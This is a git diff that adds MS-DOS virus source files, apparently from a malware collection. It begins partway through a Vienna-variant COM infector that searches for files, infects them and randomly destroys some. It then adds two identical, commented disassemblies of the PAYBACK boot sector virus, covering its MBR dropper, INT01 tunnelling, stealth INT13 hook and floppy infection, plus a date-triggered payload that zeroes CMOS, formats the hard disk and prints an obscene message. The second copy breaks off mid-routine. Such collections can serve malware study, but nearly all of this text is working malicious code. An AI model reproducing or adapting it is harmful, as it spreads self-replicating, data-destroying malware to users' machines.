[DI],5C ; '\' + +; add mask + +02CF 47 INC DI +02D0 C7052A2E MOV WORD PTR [DI],2E2A ; '*.' +02D4 C74502636F MOV WORD PTR [DI+02],6F63 ; 'co' +02D9 C745046D00 MOV WORD PTR [DI+04],006D ; 'm', 0 + +02DE B44E MOV AH,4E ; find next +02E0 BA5802 MOV DX,0258 ; path name + mask +02E3 B90300 MOV CX,0003 ; hiden and read only +02E6 CD21 INT 21 + +02E8 7303 JAE 02ED ; founded + +02EA E90301 JMP 03F0 ; search for next path + +02ED A14202 MOV AX,[0242] ; file time +02F0 241F AND AL,1F ; extract seconds +02F2 3C1F CMP AL,1F ; 62 seconds? +02F4 7463 JZ 0359 ; yes, infected + +02F6 833E480200 CMP WORD PTR [0248],+00 ; high word of file length +02FB 755C JNZ 0359 ; file too long + +02FD 813E460200FA CMP WORD PTR [0246],FA00 ; maximum file length +0303 7754 JA 0359 + +0305 833E46020A CMP WORD PTR [0246],+0A ; minimum file length +030A 724D JB 0359 ; file too short + +; copy file name to local buffer + +030C BB4A02 MOV BX,024A ; file name +030F B90D00 MOV CX,000D ; length of file name in DTA +0312 57 PUSH DI +0313 8A07 MOV AL,[BX] +0315 8805 MOV [DI],AL +0317 43 INC BX +0318 47 INC DI +0319 E2F8 LOOP 0313 + +; clear all attributes (CX = 0) + +031B C60500 MOV BYTE PTR [DI],00 ; end of ASCIIZ string +031E 5F POP DI +031F B80143 MOV AX,4301 ; set file attribute +0322 CD21 INT 21 + +0324 B8023D MOV AX,3D02 ; open file for read/write +0327 CD21 INT 21 + +0329 722E JB 0359 ; find next + +032B 8BD8 MOV BX,AX ; handle +032D A14202 MOV AX,[0242] ; file time +0330 241F AND AL,1F ; extract seconds +0332 3C1E CMP AL,1E ; 62? +0334 750A JNZ 0340 + +; founded file is infected, with probability 1/16 destroy it + +0336 802657020F AND BYTE PTR [0257],0F ; "random" number +033B 740A JZ 0347 ; destroy file + +033D E98400 JMP 03C4 ; restore file data and exit + +; with probability 1/8 destroy file + +0340 8026570207 AND BYTE PTR [0257],07 +0345 7515 JNZ 035C ; infect file + +;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> +; classic Vienna 648 destruction (set firt instruction to JMP F000:FFF0) + +0347 B440 MOV AH,40 ; write file +0349 B90500 MOV CX,0005 +034C BA1302 MOV DX,0213 +034F CD21 INT 21 + +0351 810E42021F00 OR WORD PTR [0242],001F +0357 EB6B JMP 03C4 ; exit + +0359 E98B00 JMP 03E7 ; find next + +; infect file + +035C B43F MOV AH,3F ; read file +035E B90300 MOV CX,0003 ; 3 bytes +0361 BA2002 MOV DX,0220 ; to local buffer +0364 CD21 INT 21 + +0366 725C JB 03C4 ; reset file data + +0368 3D0300 CMP AX,0003 ; check for error +036B 7557 JNZ 03C4 ; reset file data + +036D B80042 MOV AX,4200 ; move file ptr to BOF +0370 B90000 MOV CX,0000 +0373 BA0000 MOV DX,0000 +0376 CD21 INT 21 + +0378 724A JB 03C4 ; reset file data + +037A A14602 MOV AX,[0246] ; file size +037D 050F00 ADD AX,000F ; addjust to paragraph border +0380 25F0FF AND AX,FFF0 +0383 8BE8 MOV BP,AX ; store intermidiate length +0385 2D0300 SUB AX,0003 ; length of JMP XXXX +0388 A31902 MOV [0219],AX ; form JMP XXXX in local buffer +038B B90300 MOV CX,0003 ; number of bytes +038E BA1802 MOV DX,0218 ; address of JMP virus_code +0391 B440 MOV AH,40 ; write file +0393 CD21 INT 21 + +0395 722D JB 03C4 ; reset file data + +0397 B80242 MOV AX,4202 ; move file ptr rel EOF +039A 8BD5 MOV DX,BP ; addjuseted file length +039C 2B164602 SUB DX,[0246] ; real file length +03A0 B90000 MOV CX,0000 ; high word of file end +03A3 CD21 INT 21 + +03A5 721D JB 03C4 ; restore file data + +03A7 81C50001 ADD BP,0100 ; PSP length +03AB B104 MOV CL,04 ; convert to paragraphs +03AD D3ED SHR BP,CL +03AF 892E0800 MOV [0008],BP ; automodyfication of virus code +03B3 B92302 MOV CX,0223 ; virus length +03B6 90 NOP +03B7 BA0000 MOV DX,0000 ; buffer, start of virus code +03BA B440 MOV AH,40 ; write file +03BC CD21 INT 21 + +03BE 810E42021E00 OR WORD PTR [0242],001E ; set 62 seconds + +; restore file time/date stamp + +03C4 8B164402 MOV DX,[0244] ; restore file date stamp +03C8 8B0E4202 MOV CX,[0242] ; restore file time stamp +03CC B80157 MOV AX,5701 ; set file time/date stamp +03CF CD21 INT 21 + +03D1 B43E MOV AH,3E ; close file +03D3 CD21 INT 21 + +; restore file attributes + +03D5 B80143 MOV AX,4301 ; set file attributes +03D8 33C9 XOR CX,CX +03DA 8A0E4102 MOV CL,[0241] ; restore file attributes +03DE BA5802 MOV DX,0258 +03E1 03D6 ADD DX,SI +03E3 CD21 INT 21 + +03E5 EB14 JMP 03FB ; exit + +; find next candidate for victim + +03E7 B44F MOV AH,4F ; find next +03E9 CD21 INT 21 + +03EB 7203 JB 03F0 ; search for next path + +03ED E9FDFE JMP 02ED ; check file + +03F0 46 INC SI +03F1 26807CFF00 CMP BYTE PTR ES:[SI-01],00 ; end of environment block? +03F6 7403 JZ 03FB ; yes, exit + +03F8 E996FE JMP 0291 ; search for next path name + +; restore DTA + +03FB B41A MOV AH,1A ; set DTA +03FD 8B162802 MOV DX,[0228] +0401 8E1E2A02 MOV DS,[022A] +0405 CD21 INT 21 + +; exit to application + +0407 33C0 XOR AX,AX +0409 33DB XOR BX,BX +040B 33D2 XOR DX,DX +040D 33F6 XOR SI,SI +040F 33FF XOR DI,DI +0411 59 POP CX +0412 CB RETF + +; working area + +0413 EAF0FF00F0 ; JMP F000:FFF0 instruction for destruction +0418 E9 FD 00 ; form new first 3 bytes (JMP 0518) +041B 50 41 54 48 3D ; PATH= +0420 db ? dup (3) ; first 3 bytes of victim + +; end of code copied to file +;============================== +; working area + +0423 db ? dup (5) ; mask of file name for FindFirst +0428 dd ? ; address of old DTA +042C db ? dup (2C) ; local DTA + +; 0 db ? dup (15h) ; reserwed [022C] +; 15h db ? ; atributte [0241] +; 16h dw ? ; time [0242] +; 18h dw ? ; date [0244] +; 1Ah dd ? ; file size [0246] +; 1Eh db ? dup (0Dh) ; file name [024A] ... [0256] + +0457 db ? ; system timer seconds +0458 db ? ; buffer for path name from environment diff --git a/MSDOS/Virus.MSDOS.Unknown.payback.a86 b/MSDOS/Virus.MSDOS.Unknown.payback.a86 new file mode 100644 index 00000000..58debd73 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.payback.a86 @@ -0,0 +1,476 @@ +;***************************************************************************** +;* * +;* FILE: PAYBACK.A86 * +;* PURPOSE: Dropper containing PAYBACK boot sector virus * +;* DISASSEMBLY BY: Willoughby AUTHOR: Unknown clever coder * +;* * +;***************************************************************************** + +MAIN SEGMENT BYTE + ASSUME CS:MAIN,DS:MAIN,ES:MAIN + +ORG 100h + +;***************************************************************************** +;Decryption routine to decrypt body of virus. Not used in this file as virus +;has already been decrypted for analysis. Bit sequence of encryption/decryp- +;tion key possibly chosen for its randomized bit sequence (just a guess). + +;DECRYPT: +; MOV CX,02A8 ;set length of encrypted code +; MOV AX,0391D ;load decryption key (bit sequence +; ;"0011100100011101") +; MOV SI,OFFSET MBR_BUFFER ;point to end of encrypt. code +;DECLP1: DEC CX ;decrement byte count +; JS DROPPER ;if done, jump to dropper start +; XOR [SI],AL ;decrypt a byte +; XCHG AH,AL ;change key +; ROR AX,CL ;really mix it up +; DEC SI ;point to next byte to decrypt +; JMP DECLP1 ;do it all again + +;**************************************************************************** +;Dropper routine to place virus in MBR of fixed disk "C". + +DROPPER: + MOV AX,03513 ;get INT13 vector. + INT 021 + MOV [OFFSET VECT_INT13],BX ;store offset of INT13 in virus + MOV [OFFSET VECT_INT13+2],ES ;store segment of INT13 in virus + CALL STEAL_INT01 ;jump to steal INT01 routine + MOV AX,0201 ;select read-one-sector function + MOV BX,OFFSET MBR_BUFFER ;set disk I/O buffer offset + MOV CX,0001 ;cylinder 0, sector 1 + MOV DX,0080 ;head 0, fixed disk "C" + CALL SYS_INT13 ;read boot sector of drive "C" + JB RUN_CARRIER ;if flag = failure, execute carrier + CMP WORD PTR [BX+010],012CD ;check for infection tag + JE RUN_CARRIER ;if infected, execute carrier program + XOR AX,AX + MOV DS,AX ;point to data segment 0000h + MOV AX,[046C] ;load lower two bytes of master clock + PUSH CS + POP DS ;restore data segment + TEST AL,01 ;AL=01 in 1 out of 2 tries (clock LSB) + JZ RUN_CARRIER ;if AL <> 01, do not infect system + SUB BX,0200 ;set disk I/O buffer to point to virus + MOV AX,0302 ;select write-two-sectors + CALL SYS_INT13 ;write virus to MBR and original + ;boot sector to sector 2. + +;**************************************************************************** +;Routine to restore original jump address to start of trojan file and to +;execute trojan carrier program. We don't use it here since the virus is not +;attached to anything (other than its own dropper). Instead, the replacement +;RUN_CARRIER routine below it is executed to terminate the dropper. + +;RUN_CARRIER: +; MOV DI,0100 ;point to carrier prog. start +; MOV WORD PTR [DI],030B4 ;restore original jump value +; MOV BYTE PTR [DI+02],CD ;ditto +; XOR AX,AX +; PUSH DI ;zero DI +; RET ;exit and execute carrier program + +RUN_CARRIER: + MOV AX,04C00 ;select terminate-with-return-code + INT 021 ;terminate PAYBACK.COM dropper + +;***************************************************************************** +;Routine to steal INT01 for tunnelling purposes and then restore it to its +;original value. Tunnelling is new to me, so I hope that I got this right. + +STEAL_INT01: + MOV AX,03501 ;get INT01 (single-step) vector + INT 021 + MOV DX,[OFFSET FIND_INT13] ;offset of virus INT01 handler + MOV AH,025 ;steal INT01 vector + INT 021 + PUSHF + POP AX ;pop flags into AX + OR AH,01 ;set trap flag + PUSH AX + POPF ;pop AX into flag register (from this + ;point on, every instruction execution + ;also executes the viral INT01 + ;handler) + XOR AX,AX ;zero AX + CALL SYS_INT13 ;reset disks to allow INT01 tunnelling + ;to find BIOS INT13 handler address + PUSHF + POP AX ;pop flags into AX + AND AH,0FE ;zero trap flag + PUSH AX + POPF ;pop AX into flag register + MOV AX,02501 ;set-interrupt-vector function (INT01) + MOV DX,BX ;load DX with orig. INT01 offset + PUSH ES + POP DS ;load DS with orig. INT01 segment + INT 21 ;restore INT01 vector to orig. value + PUSH CS + PUSH CS + POP DS ;set DS and ES to value of + POP ES ;code segment + RET + +;***************************************************************************** +;INT01 handler routine to accomplish tunnelling address aquisition for +;original INT13 handler. + +FIND_INT13: + PUSH BP + MOV BP,SP ;load BP with the stack offset + PUSH AX + MOV AX,[BP+04] ;load AX with the segment of the + ;calling routine + CMP AX,0C800 ;is it in DOS segment? + JNB TUNNEL ;if not, its time to tunnel + +EXIT: POP AX ;restore registers + POP BP + IRET ;return from INT01 interrupt + +TUNNEL: + CMP AX,0F000 ;calling routine in ROM? + JA EXIT ;if so, no need to tunnel, so exit + CS: ;if not, store orig. INT13 segment + MOV [OFFSET VECT_INT13+02],AX ;for use during MBR infection + MOV AX,[BP+02] ;load AX with original INT13 offset + CS: + MOV [OFFSET VECT_INT13],AX ;store original INT13 handler offset + AND WORD PTR [BP+06],0FEFF ;clear trap flag on stack prior to + JMP EXIT ;return to prevent re-execution of + ;this INT01 handler + +SYS_INT13: + PUSHF ;preserve flags + CS: + CALL FAR D[OFFSET VECT_INT13] ;call INT13 handler via stored addr. + RET + +;***************************************************************************** +;Start of boot sector virus code. + +BOOT: CLI ;disable interrupts + XOR AX,AX + MOV DS,AX ;set data segment + MOV SS,AX ;set stack segment + MOV SP,0FFFE ;set stack pointer + STI ;enable interrupts + PUSH DS ;preserve DS + DEC WORD PTR [0413] ;lower top of memory 1K + INT 012 ;get base memory size + MOV CL,0A ;set rotation count + ROR AX,CL ;calculate upper memory segment + LES BX,[004C] ;get BIOS INT13h handler offset & seg. + MOV [07DB7],BX ;store orig. offset within virus + MOV [07DB9],ES ;store orig. segment within virus + MOV WORD PTR [004C],008D ;set INT13h offset vector to virus + MOV [004E],AX ;set vector to installed virus seg. + MOV ES,AX ;set ES to installed virus segment + XOR DI,DI ;zero destination offset for move + MOV SI,07C00 ;set source address for virus move + PUSH SI ;set SI for orig. boot sector load + MOV CX,02C8 ;set byte count for move (a count of + ;0200h would have been adequate) + CLD ;clear direction flag (fwd) + REPZ + MOVSB ;move virus to upper memory + PUSH ES ;set up stack for virus reentry seg. + MOV AX,003F ;AX = offset for virus reentry point + PUSH AX ;set up stack for virus reentry off. + RETF ;return to self in new location (ES:AX) + +NEW_LOCATION: + MOV AX,0201 ;select read-one-sector function + POP BX ;set disk I/O buffer to 7C00h + MOV CX,0002 ;track 0, sector 2 (self modified by + ;virus to reflect true MBR location) + MOV DX,0080 ;head 0, fixed disk "C" (once again, + ;self-modified by virus) + AND DL,080 ;mask to load original MBR from drive + ;"C", even if not boot drive, or drive + ;"A" if boot is from floppy + POP ES ;set ES = 0000h + CALL BIOS_INT13 ;load original boot sector to 0:7C00 + PUSH CS + POP DS ;set to current upper-mem. seg. value + PUSH CS + POP ES ;ditto + MOV AX,0201 ;select read-one-sector function + MOV BX,0200 ;set I/O buffer location + MOV CX,0001 ;track 0, sector 1 + MOV DX,0080 ;head 0, fixed disk "C" + CALL BIOS_INT13 ;load MBR + CMP WORD PTR [0210],012CD ;check for infect tag + JE BOOT_EXIT ;if infected, exit + CMP WORD PTR [03FE],0AA55 ;valid boot record tag? + JNE BOOT_EXIT ;if not, then exit + MOV AX,0302 ;select write-two-sectors function + XOR BX,BX ;set buffer offset to include virus + INC CX ;track 0, sector 2 (relocated MBR) + MOV [0044],CX ;store track/sector within viral code + MOV [0047],DX ;store head/drive within viral code + DEC CX ;track 0, sector 1 + CALL BIOS_INT13 ;write virus to MBR and original MBR + ;to sector 2. +BOOT_EXIT: + CALL CHECK_DATE ;check for activation date + JMP 0000:07C00 ;wrong date, so jump to original MBR + +;***************************************************************************** +;INT13h handler routine. + +STEALTH: + CMP CX,+01 ;track 0, sector 1? + JNE EXIT2BIOS ;if not, no need for stealth, so exit + OR DH,DH ;head 0? + JNE EXIT2BIOS ;ditto + CMP AH,02 ;read request? + JE ORIG_SECT ;if so, time for stealth... + +EXIT2BIOS: + CS: + JMP FAR D[01B7] ;jump to BIOS via stored address + +EXIT2CALL: + RETF 0002 ;exit to calling routine + +ORIG_SECT: + CALL BIOS_INT13 ;read boot sector + JB EXIT2CALL ;if flag=failure, exit to calling rtn. + ES: + CMP WORD PTR [BX+0010],012CD ;check for infection tag + JNE INFECT_FLOPPY ;if not infected, then infect + MOV AX,0201 ;select read-one-sector function + PUSH CX ;preserve registers values + PUSH DX ;for boot sector + ES: + MOV CX,[BX+0044] ;load track/sect. # of orig. boot rcd. + ES: + MOV DH,[BX+0048] ;load head # of original boot record + CALL BIOS_INT13 ;load original boot record + POP DX ;restore registers to values + POP CX ;sent by calling routine + JMP EXIT2CALL ;exit directly back to calling routine + +;***************************************************************************** +;Diskette infection routine. Very clever and code efficient (to me, anyway). + +INFECT_FLOPPY: + PUSHF ;push flags to hide I/O errors + PUSH AX ;preserve registers + PUSH BX + PUSH CX + PUSH DX + PUSH DI + PUSH ES + PUSH CX ;save a few register values a + PUSH DX ;second time to be used by + PUSH BX ;the virus interrupt handler + TEST DL,080 ;fixed drive I/O? + JNZ EXIT_1 ;if so, then exit handler + ES: + CMP WORD PTR [BX+01FE],0AA55 ;boot sect. in buffer? + JNE EXIT_1 ;if not, exit handler + CALL CALC_TRACK ;if so, calc. reloc. track/sector # + JB EXIT_1 ;if not standard format, exit + CS: + MOV [0044],CX ;store reloc. track/sect. within virus + CS: + MOV [0047],DX ;store reloc. head/drive within virus + POP BX ;restore orig. buffer offset + MOV AX,0301 ;select write-one-sector + PUSH AX + CALL BIOS_INT13 ;relocate boot sector + POP AX ;restore some registers + POP DX + POP CX + JB EXIT_2 ;if I/O flag = failure, exit + XOR BX,BX ;set I/O buffer to virus start + PUSH CS + POP ES ;set ES=CS + CALL BIOS_INT13 ;write virus to boot sector + JMP EXIT_2 ;exit handler + +EXIT_1: + POP BX ;restore registers + POP DX + POP CX + +EXIT_2: + POP ES ;restore registers + POP DI + POP DX + POP CX + POP BX + POP AX + POPF ;pop flags to hide I/O errors + JMP EXIT2BIOS ;jump to exit to BIOS + +CALC_TRACK: + MOV DI,DX ;load DI with head/drive # + ES: + MOV AX,[BX+013] ;load total # sectors on disk from BPB + ES: + MOV CX,[BX+018] ;load # of sectors per track from BPB + OR AX,AX ;test AX for 00h + JZ BPB_FAIL ;if zero, non-standard format, so exit + JCXZ BPB_FAIL ;ditto for CX + XOR DX,DX ;clear DX for remainder storage + DIV CX ;divide AX by CX + OR DX,DX ;test DX for 00h (no remainder) + JNZ BPB_FAIL ;if <> 0, non-standard format, so exit + ES: + MOV BX,[BX+01A] ;load # of disk sides from BPB + OR BX,BX ;test BX for 00h + JZ BPB_FAIL ;if zero, non-standard format, so exit + DIV BX ;divide AX by BX + OR DX,DX ;test DX for 00h (no remaider) + JNZ BPB_FAIL ;if <> 0, non-standard format, so exit + DEC AL ;decr. AL to obtain # of last track + MOV CH,AL ;set track # for boot sect. relocation + DEC BL ;decr. BL to obtain # of last head + MOV DX,DI ;restore head/drive information + MOV DH,BL ;set head # to last head + CLC ;clear carry flag to indicate success + RET + +BPB_FAIL: + STC ;set carry flag to indicate failure + RET + +BIOS_INT13: + PUSHF ;push flags + CS: + CALL FAR D[01B7] ;call BIOS INT13h handler via stored + RET ;address + +;**************************************************************************** +;Check date for activation (routine modified to prevent activation). + +CHECK_DATE: + MOV AH,04 ;request date function + INT 01A ;request date + CMP DX,02BAD ;check for trigger date + JE ZAP_CMOS ;the route to unethical (and illegal) + RET ;behavior + +;**************************************************************************** +;Clear contents of CMOS system configuration memory. + +ZAP_CMOS: + MOV CX,00FF ;set CMOS count (03Ch would have been + ;adequate, according to my reference) +ZCLP1: MOV DX,0070 ;set port #70h + MOV AL,CL ;set configuration address + OUT DX,AL ;select CMOS address + JMP WHY ;don't understand the need for this +WHY: INC DX ;set port #71h + XOR AL,AL ;set data value to zero + OUT DX,AL ;write data value to CMOS + LOOP ZCLP1 ;do it until CMOS count = 0 + +;***************************************************************************** +;Obtain format data from fixed disk "C" partition table. + + MOV DI,[03C4] ;ending cyl/sector #'s from prtn. tbl. + AND DI,-040 ;mask out ending sector number + MOV CL,06 ;load CL with number of shifts + SHR DI,CL ;shift to obtain ending cylinder # + MOV AL,[03C3] ;ending head # from partition table + XOR AH,AH ;zero AH + XCHG BP,AX ;store ending head # in BP + MOV BX,01F5 ;point to sector format info. table + MOV DX,0080 ;select fixed disk "C" + +;***************************************************************************** +;Trash fixed disk "C" by formatting entire partition. If my interpretation of +;this routine is correct, it formats each platter side before incrementing the +;head count to format the next platter. The destructive "advantage" of this, +;I believe, would be that the deletion of code segments from large numbers +;of files would be accomplished very quickly, rendering executable or ZIPed +;files as useless as if they were totally deleted, but in a much shorter time. + +TRASH_HD: + XOR CX,CX ;set cylinder # to zero + +FORMAT_TRACK: + MOV AX,0501 ;format-track function, interleave 1 + CALL BIOS_INT13 ;format track (cylinder) + AND CL,0C0 ;mask for cylinder # bits 6-7 + ROL CL,01 ;shift to bits 6-7 of cylinder number + ROL CL,01 ;into bottom two (0-1) bits of CL + XCHG CL,CH ;put bottom two bits in CH to match + ;DI bit arrangement + INC CX ;increment track count + CMP CX,DI ;last cylinder (CX bit pattern match + ;DI bit pattern)? + JA NEXT_HEAD ;if so, increment head number + XCHG CL,CH ;put CL back to where it started + ROR CL,01 ;shift to obtain + ROR CL,01 ;original value + JMP FORMAT_TRACK ;format next track + +NEXT_HEAD: + INC DH ;increment head number + MOV AX,BP ;load AX with last head number + CMP DH,AL ;last head? + JBE TRASH_HD ;if not, do it again + +;**************************************************************************** +;Display activation message. + + MOV SI,OFFSET MESSAGE_TEXT ;load offset of message text +DMLP1: CLD ;clear direction flag (fwd) + LODSB ;load character of message + OR AL,AL ;check for text end (0) + JZ LOCK_IT_UP ;if end of message, lock up system + MOV AH,0E ;select write-character function + XOR BX,BX ;page 0, color 0 + INT 010 ;display character on screen + JMP DMLP1 ;do it all again + +LOCK_IT_UP: + CLI ;disable interrupts + HLT ;select 0.0 Mips mode + +;***************************************************************************** +;Storage area for BIOS INT13 vector used by virus. + + DB ? ;Pad byte (A86 assembly only) + DW ? ;BIOS INT13 offset storage location + DW ? ;BIOS INT13 segment storage location + +;***************************************************************************** +;Text strings for activation message. + +MESSAGE_TEXT: + DB 0A,0D ;linefeed, carriage ret. + DB "That was for ARCV, mother fucker!" + DB 0A,0A,0D ;linefeed x 2, car. ret. + DB "Payback! (c) 1993" + DB 0A,0D ;linefeed, carriage ret. + +;***************************************************************************** +;End-of-boot sector pad bytes and valid boot sector tag bytes. + + DB 10 DUP ? ;pad bytes + DB 055,0AA ;valid boot sector tag + +;**************************************************************************** +;Start of space reserved for disk I/O + +MBR_BUFFER: + + DB 512 DUP ? ;reserve one sectors worth of space + +;**************************************************************************** +;Storage location for INT13 vector used by dropper routine. + +VECT_INT13: + + DD ? ;BIOS INT13 offset/segment storage + +MAIN ENDS + diff --git a/MSDOS/Virus.MSDOS.Unknown.payback.asm b/MSDOS/Virus.MSDOS.Unknown.payback.asm new file mode 100644 index 00000000..58debd73 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.payback.asm @@ -0,0 +1,476 @@ +;***************************************************************************** +;* * +;* FILE: PAYBACK.A86 * +;* PURPOSE: Dropper containing PAYBACK boot sector virus * +;* DISASSEMBLY BY: Willoughby AUTHOR: Unknown clever coder * +;* * +;***************************************************************************** + +MAIN SEGMENT BYTE + ASSUME CS:MAIN,DS:MAIN,ES:MAIN + +ORG 100h + +;***************************************************************************** +;Decryption routine to decrypt body of virus. Not used in this file as virus +;has already been decrypted for analysis. Bit sequence of encryption/decryp- +;tion key possibly chosen for its randomized bit sequence (just a guess). + +;DECRYPT: +; MOV CX,02A8 ;set length of encrypted code +; MOV AX,0391D ;load decryption key (bit sequence +; ;"0011100100011101") +; MOV SI,OFFSET MBR_BUFFER ;point to end of encrypt. code +;DECLP1: DEC CX ;decrement byte count +; JS DROPPER ;if done, jump to dropper start +; XOR [SI],AL ;decrypt a byte +; XCHG AH,AL ;change key +; ROR AX,CL ;really mix it up +; DEC SI ;point to next byte to decrypt +; JMP DECLP1 ;do it all again + +;**************************************************************************** +;Dropper routine to place virus in MBR of fixed disk "C". + +DROPPER: + MOV AX,03513 ;get INT13 vector. + INT 021 + MOV [OFFSET VECT_INT13],BX ;store offset of INT13 in virus + MOV [OFFSET VECT_INT13+2],ES ;store segment of INT13 in virus + CALL STEAL_INT01 ;jump to steal INT01 routine + MOV AX,0201 ;select read-one-sector function + MOV BX,OFFSET MBR_BUFFER ;set disk I/O buffer offset + MOV CX,0001 ;cylinder 0, sector 1 + MOV DX,0080 ;head 0, fixed disk "C" + CALL SYS_INT13 ;read boot sector of drive "C" + JB RUN_CARRIER ;if flag = failure, execute carrier + CMP WORD PTR [BX+010],012CD ;check for infection tag + JE RUN_CARRIER ;if infected, execute carrier program + XOR AX,AX + MOV DS,AX ;point to data segment 0000h + MOV AX,[046C] ;load lower two bytes of master clock + PUSH CS + POP DS ;restore data segment + TEST AL,01 ;AL=01 in 1 out of 2 tries (clock LSB) + JZ RUN_CARRIER ;if AL <> 01, do not infect system + SUB BX,0200 ;set disk I/O buffer to point to virus + MOV AX,0302 ;select write-two-sectors + CALL SYS_INT13 ;write virus to MBR and original + ;boot sector to sector 2. + +;**************************************************************************** +;Routine to restore original jump address to start of trojan file and to +;execute trojan carrier program. We don't use it here since the virus is not +;attached to anything (other than its own dropper). Instead, the replacement +;RUN_CARRIER routine below it is executed to terminate the dropper. + +;RUN_CARRIER: +; MOV DI,0100 ;point to carrier prog. start +; MOV WORD PTR [DI],030B4 ;restore original jump value +; MOV BYTE PTR [DI+02],CD ;ditto +; XOR AX,AX +; PUSH DI ;zero DI +; RET ;exit and execute carrier program + +RUN_CARRIER: + MOV AX,04C00 ;select terminate-with-return-code + INT 021 ;terminate PAYBACK.COM dropper + +;***************************************************************************** +;Routine to steal INT01 for tunnelling purposes and then restore it to its +;original value. Tunnelling is new to me, so I hope that I got this right. + +STEAL_INT01: + MOV AX,03501 ;get INT01 (single-step) vector + INT 021 + MOV DX,[OFFSET FIND_INT13] ;offset of virus INT01 handler + MOV AH,025 ;steal INT01 vector + INT 021 + PUSHF + POP AX ;pop flags into AX + OR AH,01 ;set trap flag + PUSH AX + POPF ;pop AX into flag register (from this + ;point on, every instruction execution + ;also executes the viral INT01 + ;handler) + XOR AX,AX ;zero AX + CALL SYS_INT13 ;reset disks to allow INT01 tunnelling + ;to find BIOS INT13 handler address + PUSHF + POP AX ;pop flags into AX + AND AH,0FE ;zero trap flag + PUSH AX + POPF ;pop AX into flag register + MOV AX,02501 ;set-interrupt-vector function (INT01) + MOV DX,BX ;load DX with orig. INT01 offset + PUSH ES + POP DS ;load DS with orig. INT01 segment + INT 21 ;restore INT01 vector to orig. value + PUSH CS + PUSH CS + POP DS ;set DS and ES to value of + POP ES ;code segment + RET + +;***************************************************************************** +;INT01 handler routine to accomplish tunnelling address aquisition for +;original INT13 handler. + +FIND_INT13: + PUSH BP + MOV BP,SP ;load BP with the stack offset + PUSH AX + MOV AX,[BP+04] ;load AX with the segment of the + ;calling routine + CMP AX,0C800 ;is it in DOS segment? + JNB TUNNEL ;if not, its time to tunnel + +EXIT: POP AX ;restore registers + POP BP + IRET ;return from INT01 interrupt + +TUNNEL: + CMP AX,0F000 ;calling routine in ROM? + JA EXIT ;if so, no need to tunnel, so exit + CS: ;if not, store orig. INT13 segment + MOV [OFFSET VECT_INT13+02],AX ;for use during MBR infection + MOV AX,[BP+02] ;load AX with original INT13 offset + CS: + MOV [OFFSET VECT_INT13],AX ;store original INT13 handler offset + AND WORD PTR [BP+06],0FEFF ;clear trap flag on stack prior to + JMP EXIT ;return to prevent re-execution of + ;this INT01 handler + +SYS_INT13: + PUSHF ;preserve flags + CS: + CALL FAR D[OFFSET VECT_INT13] ;call INT13 handler via stored addr. + RET + +;***************************************************************************** +;Start of boot sector virus code. + +BOOT: CLI ;disable interrupts + XOR AX,AX + MOV DS,AX ;set data segment + MOV SS,AX ;set stack segment + MOV SP,0FFFE ;set stack pointer + STI ;enable interrupts + PUSH DS ;preserve DS + DEC WORD PTR [0413] ;lower top of memory 1K + INT 012 ;get base memory size + MOV CL,0A ;set rotation count + ROR AX,CL ;calculate upper memory segment + LES BX,[004C] ;get BIOS INT13h handler offset & seg. + MOV [07DB7],BX ;store orig. offset within virus + MOV [07DB9],ES ;store orig. segment within virus + MOV WORD PTR [004C],008D ;set INT13h offset vector to virus + MOV [004E],AX ;set vector to installed virus seg. + MOV ES,AX ;set ES to installed virus segment + XOR DI,DI ;zero destination offset for move + MOV SI,07C00 ;set source address for virus move + PUSH SI ;set SI for orig. boot sector load + MOV CX,02C8 ;set byte count for move (a count of + ;0200h would have been adequate) + CLD ;clear direction flag (fwd) + REPZ + MOVSB ;move virus to upper memory + PUSH ES ;set up stack for virus reentry seg. + MOV AX,003F ;AX = offset for virus reentry point + PUSH AX ;set up stack for virus reentry off. + RETF ;return to self in new location (ES:AX) + +NEW_LOCATION: + MOV AX,0201 ;select read-one-sector function + POP BX ;set disk I/O buffer to 7C00h + MOV CX,0002 ;track 0, sector 2 (self modified by + ;virus to reflect true MBR location) + MOV DX,0080 ;head 0, fixed disk "C" (once again, + ;self-modified by virus) + AND DL,080 ;mask to load original MBR from drive + ;"C", even if not boot drive, or drive + ;"A" if boot is from floppy + POP ES ;set ES = 0000h + CALL BIOS_INT13 ;load original boot sector to 0:7C00 + PUSH CS + POP DS ;set to current upper-mem. seg. value + PUSH CS + POP ES ;ditto + MOV AX,0201 ;select read-one-sector function + MOV BX,0200 ;set I/O buffer location + MOV CX,0001 ;track 0, sector 1 + MOV DX,0080 ;head 0, fixed disk "C" + CALL BIOS_INT13 ;load MBR + CMP WORD PTR [0210],012CD ;check for infect tag + JE BOOT_EXIT ;if infected, exit + CMP WORD PTR [03FE],0AA55 ;valid boot record tag? + JNE BOOT_EXIT ;if not, then exit + MOV AX,0302 ;select write-two-sectors function + XOR BX,BX ;set buffer offset to include virus + INC CX ;track 0, sector 2 (relocated MBR) + MOV [0044],CX ;store track/sector within viral code + MOV [0047],DX ;store head/drive within viral code + DEC CX ;track 0, sector 1 + CALL BIOS_INT13 ;write virus to MBR and original MBR + ;to sector 2. +BOOT_EXIT: + CALL CHECK_DATE ;check for activation date + JMP 0000:07C00 ;wrong date, so jump to original MBR + +;***************************************************************************** +;INT13h handler routine. + +STEALTH: + CMP CX,+01 ;track 0, sector 1? + JNE EXIT2BIOS ;if not, no need for stealth, so exit + OR DH,DH ;head 0? + JNE EXIT2BIOS ;ditto + CMP AH,02 ;read request? + JE ORIG_SECT ;if so, time for stealth... + +EXIT2BIOS: + CS: + JMP FAR D[01B7] ;jump to BIOS via stored address + +EXIT2CALL: + RETF 0002 ;exit to calling routine + +ORIG_SECT: + CALL BIOS_INT13 ;read boot sector + JB EXIT2CALL ;if flag=failure, exit to calling rtn. + ES: + CMP WORD PTR [BX+0010],012CD ;check for infection tag + JNE INFECT_FLOPPY ;if not infected, then infect + MOV AX,0201 ;select read-one-sector function + PUSH CX ;preserve registers values + PUSH DX ;for boot sector + ES: + MOV CX,[BX+0044] ;load track/sect. # of orig. boot rcd. + ES: + MOV DH,[BX+0048] ;load head # of original boot record + CALL BIOS_INT13 ;load original boot record + POP DX ;restore registers to values + POP CX ;sent by calling routine + JMP EXIT2CALL ;exit directly back to calling routine + +;***************************************************************************** +;Diskette infection routine. Very clever and code efficient (to me, anyway). + +INFECT_FLOPPY: + PUSHF ;push flags to hide I/O errors + PUSH AX ;preserve registers + PUSH BX + PUSH 